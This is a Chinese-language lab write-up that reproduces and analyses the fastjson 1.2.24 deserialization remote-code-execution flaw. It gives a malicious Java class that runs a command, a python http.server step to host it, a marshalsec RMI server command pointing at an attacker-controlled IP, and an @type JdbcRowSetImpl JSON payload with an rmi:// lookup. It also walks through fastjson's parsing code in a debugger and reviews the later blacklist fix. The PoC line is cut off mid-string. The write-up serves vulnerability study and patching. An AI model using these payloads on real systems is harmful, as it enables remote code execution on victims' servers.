追洞小组 | fastjson1.2.24复现+分析

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文章来源｜MS08067 WEB攻防知识星球

本文作者：爱吃芝士的小葵（Ms08067实验室追洞小组成员）

1、靶场搭建

2、漏洞复现

3、漏洞分析

4、漏洞修复

5、心得

靶场搭建

使用idea maven项目创建，在pom中导入fastjson的坐标。（因为本文复现1.2.24的rce，所以版本要小于1.2.24，本文采 取1.2.23版本坐标）。

导入之后在右边点击maven图标导入。

坑点

其中环境有一个非常细小的点，可以说是个大坑，我调试了很久，之前的报错如下：

1、rmi+jndi环境：java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接 2、ldap+jndi环境：java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource

后来才发现是java的环境没有配置对，虽然都是jdk1.8，但是复现的环境采用1.8.0_102,之前的环境1.8.0_221没有复现成 功。因为JDK 8u113 之后，系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、  com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false，即默认不允许RMI、cosnaming从远程的 Codebase加载Reference工厂类。

漏洞复现

一、准备被远程下载的class文件

这边简单弹个计算器，也可以反弹shell

package com.v1rus；
public class Calc{public Calc(){try{Runtime.getRuntime().exec("calc");}catch (Exception e){e.printStackTrace();}}public static void main(String[] argv){Calc c = new Calc();}}

命令行输入 javac Calc.java ，在当前文件夹下会生成Calc.class文件。

二、 http服务

可以简单的用python3在当前Calc.class文件的文件夹下起http服务

python -m http.server 8088

三、RMI服务

使用marshalsec起rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.156:8088/#Calc" 8

简而言之就是将class文件放到了http服务上，再用rmi服务绑定该class文件，并将rmi服务的端口应用在8888端口上。

漏洞分析

fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。

首先放上服务端使用的poc demo：

package com.v1rus;import com.alibaba.fastjson.JSON;public class Test {public static void main(String[] args) {String v1rus = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.249.15JSON.parseObject(v1rus);}}

一、熟悉fastjson工作流程

我们的poc中用到的类是 

com.sun.rowset.JdbcRowSetImpl

Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommitat com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:131)at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.jat com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:722)at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:568)at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:877)at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Soat com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:183)at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128)at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at com.v1rus.Test.main(Test.java:8)

我们直接进入 com.alibaba.fastjson.JSON 这个类中，并在parseObject函数上面下断点。

最后会跟到这个方法上。通过DefaultJSONParser类去parse我们传入的字符串

跟进74行的parse代码。这里是根据JSONLexer的token为12到case的判断，进入关键函数。

根据lexer.token()方法返回token的值，这里是12，所以进入else进行处理。

然后进入while(true)循环，第一步骤就是lexer.skipWhitespace，跟进去查看方法

因而返回的是 “ 号，所以可以进入if判断，根据变量名我们也可以得知，scanSymbol这个方法返回的是key关键字。

（key、value对）

大家可以简单的跟进 

com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol 

这个函数走一下流程，最后会通过双引号的闭合判断来返回value字符串，这边返回的就是第一个字符串 @type

继续往下走到了这里，将key和全局静态常量作比较看是否为 @type ，如果是的话，进入if判断。

跟进 com.alibaba.fastjson.util#loadClass ，这里面并没有做什么黑名单的过滤就讲这个类对象返回了。

上面那行代码，跟进分析

判断是类名返回

跟进方法分析返回

FastJsonASMDeserializer_1_JdbcRowSetImpl

再跟进deserialze后继续往下调试，进入setDataSourceName方法，将dataSourceName值设置为目标RMI服务的地址

一路跟到parseField方法

调用smartMatch方法来处理我们传入的key值，跟进这个方法

之后回跟到

((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);这行代码，进入FieldDeserializer的parseField方法。进行一些Field的赋值操作。

再跟进

com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue

方法，根据fieldInfo.fieldClass判断该类，最后进入箭头指向的else体，通过反射调用setAutoCommit关键方法。嘿嘿，接下来不是为所欲为。

这个jdk自带的类必须要先获得一个connection，如果没有的话先执行connect方法。我们进去看看里面有什么。

因为我们在前面通过setDataSourceName()方法设置了dataSourceName的值，所以进入esle if通过lookup方法去获取

dataSource。而rmi（java远程方法调用机制）的主角就是这个方法，如果lookup里面传入的参数可控，就可以指向我们所构造的rmi服务，那么就有很大的可能被攻击。（InitialContext 是一个实现了Context接口的类。使用这个类作为JNDI命名服务的入口点。）

这里也简单提一句JNDI和RMI关系，以便更好理解。简单来说，JNDI (Java Naming and Directory Interface)是一组应用程序接口。JNDI底层支持RMI远程对象，RMI注册的服务可以通过JNDI接口来访问和调用。JNDI接口在初始化时，可以将RMI URL作为参数传入，而JNDI注入就出现在客户端的lookup()函数中。

用referenceWrapper包装reference类，注册在jndi的rmi服务实现上，这里rmi服务器绑定的类并没有实现相应的接口，而是通过Refernces类来绑定过一个外部的远程对象。（这里先提及一下，后面会详细说明）一路跟进到这个最终的方法，该方法执行完就会加载完远程类实现rce。可以看到这里的var3是RegistryContext类，调用lookup函数。

跟进去时候传入的这个参数是Calc也就是/后面的请求文件，不为空之后调用this.registry(RegistryImpl_Stub，stub和skel的概念是相对而言的，并不只存在于服务端和客户端之间)的lookup方法，是我们可控的，所以就造成了JNDI注入漏洞。

继续跟进marshelsec可能会出现这样的错误:

java.net.SocketTimeoutException: Read timed outat java.net.SocketInputStream.socketRead0(Native Method)at java.net.SocketInputStream.socketRead(Unknown Source)at java.net.SocketInputStream.read(Unknown Source)at java.net.SocketInputStream.read(Unknown Source)at java.io.BufferedInputStream.fill(Unknown Source)at java.io.BufferedInputStream.read(Unknown Source)at java.io.FilterInputStream.read(Unknown Source)at marshalsec.jndi.RMIRefServer.doMessage(RMIRefServer.java:221)at marshalsec.jndi.RMIRefServer.run(RMIRefServer.java:171)at marshalsec.jndi.RMIRefServer.main(RMIRefServer.java:117)

原因是网络读取数据超时，我们跟进方法的同时加长的数据传输的时间，等待超时抛出错误。至此利用的部分已经结束。

疑惑

因为JNDI注入中RMI服务器最终执行远程方法，但是目标服务器lookup()一个恶意的RMI服务地址，反而是目标服务器执行了。那么究竟是什么原因？

在JNDI服务中，RMI服务端除了直接绑定远程对象之外，还可以通过Reference类来绑定一个外部的远程对象（当前名称目录系统之外的对象）。绑定了Reference之后，服务端会先通过Referenceable.getReference()获取绑定对象的引用，并且在目录中保存。当客户端在lookup()查找这个远程对象时，客户端会获取相应的object factory，最终通过factory类将reference转换为具体的对象实例。

简而言之，在Server绑定Reference时，这个恶意对象是不在Server上的，Reference指向某个地址，Client会去这个地址

取出对象并在Client实例化。

总结

攻击者准备rmi服务和web服务，将rmi绝对路径注入到lookup方法中，受害者JNDI接口会指向攻击者控制rmi服务器，JNDI接口向攻击者控制web服务器远程加载恶意代码，执行构造函数造成RCE。

漏洞修复

从1.2.25开始对这个漏洞进行了修补，修补方式是会在

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

方法中调用 

com.alibaba.fastjson.parser.ParserConfig#checkAutoType 

来检查我们传入的类是不是在黑名单中，也就是将TypeUtils.loadClass替换为checkAutoType()函数:

只有通过了白名单的校验才会调用loadClass。

但是这里同时使用白名单和黑名单的方式来限制反序列化的类，只有当白名单不通过时才会进行黑名单判断，相当于白

名单并没有真正起到白名单的作用。我们仍然可以进入后续的流程来进行绕过。

黑名单里面禁止了一些常见的反序列化漏洞利用链：

bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework

心得

1、 Fastjson主要还是利用了autotype功能实现"@type"字段指定反序列化的Class类型，所以尽量关闭autotype就没有问题。虽然Fastjson在1.2.24之后实现了一套黑名单，但还是存在被绕过风险。

2、 rmi在fastjson中的利用只是jndi的一种手段，还有ldap等。是在rmi服务器上绑定reference对象，与rmi本身的反序列话不是很有关系。它将从攻击者控制的服务器获取工厂类，然后实例化工厂以返回 JNDI所引用的对象的新实例。

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